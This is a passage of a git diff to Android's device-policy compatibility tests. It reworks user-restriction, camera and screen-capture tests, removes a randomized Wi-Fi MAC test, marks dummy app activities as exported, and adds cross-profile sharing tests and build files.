                     UserManager.DISALLOW_BLUETOOTH,
                     UserManager.DISALLOW_BLUETOOTH_SHARING,
                     UserManager.DISALLOW_CONFIG_BLUETOOTH,
                     UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
                     UserManager.DISALLOW_CONFIG_LOCATION,
                     UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
-                    UserManager.DISALLOW_CONFIG_PRIVATE_DNS,
                     UserManager.DISALLOW_CONFIG_TETHERING,
                     UserManager.DISALLOW_CONFIG_WIFI,
                     UserManager.DISALLOW_CONTENT_CAPTURE,
@@ -112,7 +79,6 @@
                     UserManager.DISALLOW_SHARE_LOCATION,
                     UserManager.DISALLOW_SMS,
                     UserManager.DISALLOW_USB_FILE_TRANSFER,
-                    UserManager.DISALLOW_AIRPLANE_MODE,
                     UserManager.DISALLOW_MOUNT_PHYSICAL_MEDIA,
                     UserManager.DISALLOW_OUTGOING_CALLS,
                     UserManager.DISALLOW_UNMUTE_MICROPHONE
@@ -124,6 +90,9 @@
         for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_GLOBAL_RESTRICTIONS) {
             testAddGetAndClearUserRestriction_onParent(restriction);
         }
+        for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_LOCAL_RESTRICTIONS) {
+            testAddGetAndClearUserRestriction_onParent(restriction);
+        }
     }
 
     private void testAddGetAndClearUserRestriction_onParent(String restriction) {
@@ -147,56 +116,15 @@
     }
 
     private void testUnableToAddBaseUserRestriction(String restriction) {
-        assertThrows(UnsupportedOperationException.class,
+        assertThrows(SecurityException.class,
                 () -> mParentDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
                         restriction));
     }
 
     private void testUnableToClearBaseUserRestriction(String restriction) {
-        assertThrows(UnsupportedOperationException.class,
+        assertThrows(SecurityException.class,
                 () -> mParentDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
                         restriction));
     }
 
-    private void checkCanOpenCamera(boolean canOpen) throws Exception {
-        // If the device does not support a camera it will return an empty camera ID list.
-        if (mCameraManager.getCameraIdList() == null
-                || mCameraManager.getCameraIdList().length == 0) {
-            return;
-        }
-        int retries = 10;
-        boolean successToOpen = !canOpen;
-        while (successToOpen != canOpen && retries > 0) {
-            retries--;
-            Thread.sleep(500);
-            successToOpen = CameraUtils
-                    .blockUntilOpenCamera(mCameraManager, mBackgroundHandler);
-        }
-        assertEquals(String.format("Timed out waiting the value to change to %b (actual=%b)",
-                canOpen, successToOpen), canOpen, successToOpen);
-    }
-
-    /**
-     * Starts a background thread and its {@link Handler}.
-     */
-    private void startBackgroundThread() {
-        mBackgroundThread = new HandlerThread("CameraBackground");
-        mBackgroundThread.start();
-        mBackgroundHandler = new Handler(mBackgroundThread.getLooper());
-    }
-
-    /**
-     * Stops the background thread and its {@link Handler}.
-     */
-    private void stopBackgroundThread() {
-        mBackgroundThread.quitSafely();
-        try {
-            mBackgroundThread.join();
-            mBackgroundThread = null;
-            mBackgroundHandler = null;
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-    }
-
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/RandomizedWifiMacAddressTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/RandomizedWifiMacAddressTest.java
deleted file mode 100644
index f9db3e5..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/RandomizedWifiMacAddressTest.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.net.MacAddress;
-import android.net.wifi.WifiConfiguration;
-import android.net.wifi.WifiManager;
-
-import com.android.compatibility.common.util.WifiConfigCreator;
-
-import java.util.List;
-import java.util.Objects;
-import java.util.stream.Collectors;
-
-/**
- * Tests that DO/PO can access randomized WiFi addresses.
- */
-public class RandomizedWifiMacAddressTest extends BaseDeviceAdminTest {
-    /** Mac address returned when the caller doesn't have access. */
-    private static final String DEFAULT_MAC_ADDRESS = "02:00:00:00:00:00";
-    /** SSID returned when the caller doesn't have access or if WiFi is not connected. */
-    private static final String NETWORK_SSID = "TestSSID";
-    private static final String DEFAULT_SSID = "<unknown ssid>";
-
-    private int mNetId;
-    private WifiConfigCreator mWifiConfigCreator;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mWifiConfigCreator = new WifiConfigCreator(mContext);
-        mNetId = mWifiConfigCreator.addNetwork(NETWORK_SSID, false,
-                WifiConfigCreator.SECURITY_TYPE_NONE, null);
-        assertWithMessage("Fail to create test network")
-                .that(mNetId)
-                .isNotEqualTo(-1);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mWifiConfigCreator.removeNetwork(mNetId);
-        super.tearDown();
-    }
-    public void testGetRandomizedMacAddress() {
-        final WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
-
-        final List<WifiConfiguration> wifiConfigs = wifiManager.getConfiguredNetworks();
-        for (final WifiConfiguration config : wifiConfigs) {
-            if (config.SSID == null) {
-                continue;
-            }
-
-            if (config.SSID.equals("\"" + NETWORK_SSID + "\"")) {
-                final MacAddress macAddress = config.getRandomizedMacAddress();
-
-                assertWithMessage("Device owner should be able to get the randomized MAC address")
-                        .that(macAddress)
-                        .isNotEqualTo((MacAddress.fromString(DEFAULT_MAC_ADDRESS)));
-                return;
-            }
-        }
-
-        final String ssids = wifiConfigs.stream()
-                .map(c -> c.SSID).filter(Objects::nonNull).collect(Collectors.joining(","));
-
-        fail(String.format("Failed to find WifiConfiguration for the current connection, " +
-                "current SSID: %s; configured SSIDs: %s", NETWORK_SSID, ssids));
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
index f59803b..ed420f1 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
@@ -16,7 +16,6 @@
 package com.android.cts.deviceandprofileowner;
 
 import android.app.admin.DevicePolicyManager;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import android.util.Log;
 
 /**
@@ -34,35 +33,32 @@
         super.setUp();
     }
 
-    public void testSetScreenCaptureDisabled_false() throws Exception {
+    public void testSetScreenCaptureDisabled_false() {
         mDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, false);
         assertFalse(mDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
         assertFalse(mDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
     }
 
-    public void testSetScreenCaptureDisabled_true() throws Exception {
+    public void testSetScreenCaptureDisabled_true() {
         mDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
         assertTrue(mDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
         assertTrue(mDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
     }
 
-    public void testSetScreenCaptureDisabledOnParent() throws Exception {
+    public void testSetScreenCaptureDisabledOnParent_false() {
         DevicePolicyManager parentDevicePolicyManager =
                 mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
-        boolean initial = parentDevicePolicyManager.getScreenCaptureDisabled(
-                ADMIN_RECEIVER_COMPONENT);
-
-        parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
-        assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
-        assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
-        testScreenCaptureImpossible();
-
         parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, false);
         assertFalse(parentDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
         assertFalse(parentDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
-        testScreenCapturePossible();
+    }
 
-        parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, initial);
+    public void testSetScreenCaptureDisabledOnParent_true() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
+        assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
+        assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
     }
 
     public void testScreenCaptureImpossible() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
index 04eebca..82ce679 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
@@ -22,15 +22,35 @@
 
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
+import android.hardware.camera2.CameraManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.UserManager;
 import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import com.google.common.collect.ImmutableSet;
+
+import java.util.Set;
 
 public class UserRestrictionsParentTest extends InstrumentationTestCase {
 
+    private static final String TAG = "UserRestrictionsParentTest";
+
     protected Context mContext;
     private DevicePolicyManager mDevicePolicyManager;
     private UserManager mUserManager;
 
+    private CameraManager mCameraManager;
+
+    private HandlerThread mBackgroundThread;
+
+    /**
+     * A {@link Handler} for running tasks in the background.
+     */
+    private Handler mBackgroundHandler;
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -40,8 +60,19 @@
                 mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
         assertNotNull(mDevicePolicyManager);
 
+        mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
+        assertNotNull(mCameraManager);
+
         mUserManager = mContext.getSystemService(UserManager.class);
         assertNotNull(mUserManager);
+
+        startBackgroundThread();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        stopBackgroundThread();
+        super.tearDown();
     }
 
     public void testAddUserRestrictionDisallowConfigDateTime_onParent() {
@@ -54,11 +85,187 @@
     }
 
     public void testHasUserRestrictionDisallowConfigDateTime() {
-        assertThat(mUserManager.hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isTrue();
+        assertThat(mUserManager.
+                hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isTrue();
     }
 
     public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() {
-        assertThat(
-                mUserManager.hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isFalse();
+        assertThat(mUserManager.
+                hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isFalse();
     }
+
+    public void testAddUserRestrictionDisallowAddUser_onParent() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        assertNotNull(parentDevicePolicyManager);
+
+        parentDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
+                UserManager.DISALLOW_ADD_USER);
+    }
+
+    public void testHasUserRestrictionDisallowAddUser() {
+        assertThat(hasUserRestriction(UserManager.DISALLOW_ADD_USER)).isTrue();
+    }
+
+    public void testClearUserRestrictionDisallowAddUser() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+
+        parentDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
+                UserManager.DISALLOW_ADD_USER);
+    }
+
+    public void testAddUserRestrictionCameraDisabled_onParent() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        parentDevicePolicyManager.setCameraDisabled(ADMIN_RECEIVER_COMPONENT, true);
+        boolean actualDisabled =
+                parentDevicePolicyManager.getCameraDisabled(ADMIN_RECEIVER_COMPONENT);
+
+        assertThat(actualDisabled).isTrue();
+    }
+
+    public void testRemoveUserRestrictionCameraEnabled_onParent() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        parentDevicePolicyManager.setCameraDisabled(ADMIN_RECEIVER_COMPONENT, false);
+        boolean actualDisabled =
+                parentDevicePolicyManager.getCameraDisabled(ADMIN_RECEIVER_COMPONENT);
+
+        assertThat(actualDisabled).isFalse();
+    }
+
+    public void testCannotOpenCamera() throws Exception {
+        checkCanOpenCamera(false);
+    }
+
+    public void testCanOpenCamera() throws Exception {
+        checkCanOpenCamera(true);
+    }
+
+    private void checkCanOpenCamera(boolean canOpen) throws Exception {
+        // If the device does not support a camera it will return an empty camera ID list.
+        if (mCameraManager.getCameraIdList() == null
+                || mCameraManager.getCameraIdList().length == 0) {
+            return;
+        }
+        int retries = 10;
+        boolean successToOpen = !canOpen;
+        while (successToOpen != canOpen && retries > 0) {
+            retries--;
+            Thread.sleep(500);
+            successToOpen = CameraUtils
+                    .blockUntilOpenCamera(mCameraManager, mBackgroundHandler);
+        }
+        assertEquals(String.format("Timed out waiting the value to change to %b (actual=%b)",
+                canOpen, successToOpen), canOpen, successToOpen);
+    }
+
+    private static final Set<String> PROFILE_OWNER_ORGANIZATION_OWNED_LOCAL_RESTRICTIONS =
+            ImmutableSet.of(
+                    UserManager.DISALLOW_BLUETOOTH,
+                    UserManager.DISALLOW_BLUETOOTH_SHARING,
+                    UserManager.DISALLOW_CONFIG_BLUETOOTH,
+                    UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
+                    UserManager.DISALLOW_CONFIG_LOCATION,
+                    UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
+                    UserManager.DISALLOW_CONFIG_TETHERING,
+                    UserManager.DISALLOW_CONFIG_WIFI,
+                    UserManager.DISALLOW_CONTENT_CAPTURE,
+                    UserManager.DISALLOW_CONTENT_SUGGESTIONS,
+                    UserManager.DISALLOW_DATA_ROAMING,
+                    UserManager.DISALLOW_SAFE_BOOT,
+                    UserManager.DISALLOW_SHARE_LOCATION,
+                    UserManager.DISALLOW_SMS,
+                    UserManager.DISALLOW_USB_FILE_TRANSFER,
+                    UserManager.DISALLOW_MOUNT_PHYSICAL_MEDIA,
+                    UserManager.DISALLOW_OUTGOING_CALLS,
+                    UserManager.DISALLOW_UNMUTE_MICROPHONE
+                    // This restriction disables ADB, so is not used in test.
+                    // UserManager.DISALLOW_DEBUGGING_FEATURES
+            );
+
+    public void testPerProfileUserRestriction_onParent() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        assertNotNull(parentDevicePolicyManager);
+
+        for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_LOCAL_RESTRICTIONS) {
+            try {
+                boolean hasRestrictionOnManagedProfile = mUserManager.hasUserRestriction(
+                        restriction);
+
+                parentDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, restriction);
+                // Assert user restriction on personal profile has been added
+                assertThat(hasUserRestriction(restriction)).isTrue();
+                // Assert user restriction on managed profile has not changed
+                assertThat(mUserManager.hasUserRestriction(restriction)).isEqualTo(
+                        hasRestrictionOnManagedProfile);
+            } finally {
+                parentDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
+                        restriction);
+                assertThat(hasUserRestriction(restriction)).isFalse();
+            }
+        }
+    }
+
+    private static final Set<String> PROFILE_OWNER_ORGANIZATION_OWNED_GLOBAL_RESTRICTIONS =
+            ImmutableSet.of(
+                    UserManager.DISALLOW_CONFIG_PRIVATE_DNS,
+                    UserManager.DISALLOW_CONFIG_DATE_TIME,
+                    UserManager.DISALLOW_AIRPLANE_MODE
+            );
+
+    public void testPerDeviceUserRestriction_onParent() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        assertNotNull(parentDevicePolicyManager);
+
+        for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_GLOBAL_RESTRICTIONS) {
+            try {
+                parentDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, restriction);
+                // Assert user restriction on personal profile has been added
+                assertThat(hasUserRestriction(restriction)).isTrue();
+                // Assert user restriction on managed profile has been added
+                assertThat(mUserManager.hasUserRestriction(restriction)).isTrue();
+            } finally {
+                parentDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
+                        restriction);
+                assertThat(hasUserRestriction(restriction)).isFalse();
+                assertThat(mUserManager.hasUserRestriction(restriction)).isFalse();
+            }
+        }
+    }
+
+    private boolean hasUserRestriction(String key) {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        Bundle userRestrictions =
+                parentDevicePolicyManager.getUserRestrictions(ADMIN_RECEIVER_COMPONENT);
+        return userRestrictions.getBoolean(key);
+    }
+
+    /**
+     * Starts a background thread and its {@link Handler}.
+     */
+    private void startBackgroundThread() {
+        mBackgroundThread = new HandlerThread("CameraBackground");
+        mBackgroundThread.start();
+        mBackgroundHandler = new Handler(mBackgroundThread.getLooper());
+    }
+
+    /**
+     * Stops the background thread and its {@link Handler}.
+     */
+    private void stopBackgroundThread() {
+        mBackgroundThread.quitSafely();
+        try {
+            mBackgroundThread.join();
+            mBackgroundThread = null;
+            mBackgroundHandler = null;
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Interrupted exception thrown while stopping background thread.");
+        }
+    }
+
 }
diff --git a/hostsidetests/devicepolicy/app/DummyApps/dummyapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DummyApps/dummyapp1/AndroidManifest.xml
index 00fe83d..3bec42a 100644
--- a/hostsidetests/devicepolicy/app/DummyApps/dummyapp1/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DummyApps/dummyapp1/AndroidManifest.xml
@@ -31,7 +31,8 @@
             </intent-filter>
         </receiver>
         <activity
-            android:name="android.app.Activity">
+            android:name="android.app.Activity"
+            android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DummyApps/dummyapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DummyApps/dummyapp2/AndroidManifest.xml
index 97c7d76..1f1975f 100644
--- a/hostsidetests/devicepolicy/app/DummyApps/dummyapp2/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DummyApps/dummyapp2/AndroidManifest.xml
@@ -31,7 +31,8 @@
             </intent-filter>
         </receiver>
         <activity
-            android:name="android.app.Activity">
+            android:name="android.app.Activity"
+            android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DummyApps/dummyapp3/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DummyApps/dummyapp3/AndroidManifest.xml
index dbd0778..446c3a1 100644
--- a/hostsidetests/devicepolicy/app/DummyApps/dummyapp3/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DummyApps/dummyapp3/AndroidManifest.xml
@@ -31,7 +31,8 @@
             </intent-filter>
         </receiver>
         <activity
-            android:name="android.app.Activity">
+            android:name="android.app.Activity"
+            android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DummyApps/dummyapp4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DummyApps/dummyapp4/AndroidManifest.xml
index 7001a87..8c0356c 100644
--- a/hostsidetests/devicepolicy/app/DummyApps/dummyapp4/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DummyApps/dummyapp4/AndroidManifest.xml
@@ -31,7 +31,8 @@
             </intent-filter>
         </receiver>
         <activity
-            android:name="android.app.Activity">
+            android:name="android.app.Activity"
+            android:exported="true">
         </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileSharingTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileSharingTest.java
new file mode 100644
index 0000000..65261e1
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileSharingTest.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * App-side tests for cross-profile sharing
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileSharingTest {
+
+    @Test
+    public void startSwitchToOtherProfileIntent() {
+        Intent intent = getSendIntent();
+        Context context = InstrumentationRegistry.getContext();
+        List<ResolveInfo> resolveInfos =
+                context.getPackageManager().queryIntentActivities(intent,
+                        PackageManager.MATCH_DEFAULT_ONLY);
+        ResolveInfo switchToOtherProfileResolveInfo =
+                getSwitchToOtherProfileResolveInfo(resolveInfos);
+        assertWithMessage("Could not retrieve the switch to other profile resolve info.")
+                .that(switchToOtherProfileResolveInfo)
+                .isNotNull();
+        ActivityInfo activityInfo = switchToOtherProfileResolveInfo.activityInfo;
+        ComponentName componentName =
+                new ComponentName(activityInfo.packageName, activityInfo.name);
+        Intent switchToOtherProfileIntent = new Intent(intent);
+        switchToOtherProfileIntent.setComponent(componentName);
+        switchToOtherProfileIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(switchToOtherProfileIntent);
+    }
+
+    @Test
+    public void startSwitchToOtherProfileIntent_chooser() {
+        Intent intent = getSendIntent();
+        Context context = InstrumentationRegistry.getContext();
+        List<ResolveInfo> resolveInfos =
+                context.getPackageManager().queryIntentActivities(intent,
+                        PackageManager.MATCH_DEFAULT_ONLY);
+        ResolveInfo switchToOtherProfileResolveInfo =
+                getSwitchToOtherProfileResolveInfo(resolveInfos);
+        assertWithMessage("Could not retrieve the switch to other profile resolve info.")
+                .that(switchToOtherProfileResolveInfo)
+                .isNotNull();
+        ActivityInfo activityInfo = switchToOtherProfileResolveInfo.activityInfo;
+        ComponentName componentName =
+                new ComponentName(activityInfo.packageName, activityInfo.name);
+        Intent chooserIntent = Intent.createChooser(intent, /* title */ null);
+        Intent switchToOtherProfileIntent = new Intent(chooserIntent);
+        switchToOtherProfileIntent.setComponent(componentName);
+        switchToOtherProfileIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(switchToOtherProfileIntent);
+    }
+
+    @Test
+    public void addCrossProfileIntents()
+            throws IntentFilter.MalformedMimeTypeException {
+        Context context = InstrumentationRegistry.getContext();
+        DevicePolicyManager devicePolicyManager =
+                context.getSystemService(DevicePolicyManager.class);
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_SEND);
+        filter.addCategory(Intent.CATEGORY_DEFAULT);
+        filter.addDataType("*/*");
+        devicePolicyManager.addCrossProfileIntentFilter(ADMIN_RECEIVER_COMPONENT, filter,
+                DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT |
+                DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED);
+    }
+
+    @Test
+    public void clearCrossProfileIntents() {
+        Context context = InstrumentationRegistry.getContext();
+        DevicePolicyManager devicePolicyManager =
+                context.getSystemService(DevicePolicyManager.class);
+        devicePolicyManager.clearCrossProfileIntentFilters(ADMIN_RECEIVER_COMPONENT);
+    }
+
+    private Intent getSendIntent() {
+        Intent intent = new Intent(Intent.ACTION_SEND);
+        intent.addCategory(Intent.CATEGORY_DEFAULT);
+        intent.putExtra(Intent.EXTRA_TEXT, "test example");
+        intent.setType("text/plain");
+        return intent;
+    }
+
+    private ResolveInfo getSwitchToOtherProfileResolveInfo(List<ResolveInfo> resolveInfos) {
+        for (ResolveInfo resolveInfo : resolveInfos) {
+            // match == 0 means that this intent actually doesn't match to anything on this profile,
+            // meaning it should be on the other side.
+            if (resolveInfo.match == 0) {
+                return resolveInfo;
+            }
+        }
+        return null;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SharingApps/Android.bp b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
new file mode 100644
index 0000000..460fe55
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
@@ -0,0 +1,65 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "SharingApp1",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["sharingapp1/src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "cts-security-test-support-library",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    manifest: "sharingapp1/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "SharingApp2",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["sharingapp2/src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "cts-security-test-support-library",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    manifest: "sharingapp2/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/SharingApps/OWNERS b/hostsidetests/devicepolicy/app/SharingApps/OWNERS
new file mode 100644
index 0000000..2638902
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SharingApps/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 168445
+alexkershaw@google.com
+arangelov@google.com
+scottjonathan@google.com
+kholoudm@google.com
diff --git a/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml
new file mode 100644
index 0000000..e6c7f42
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<!--
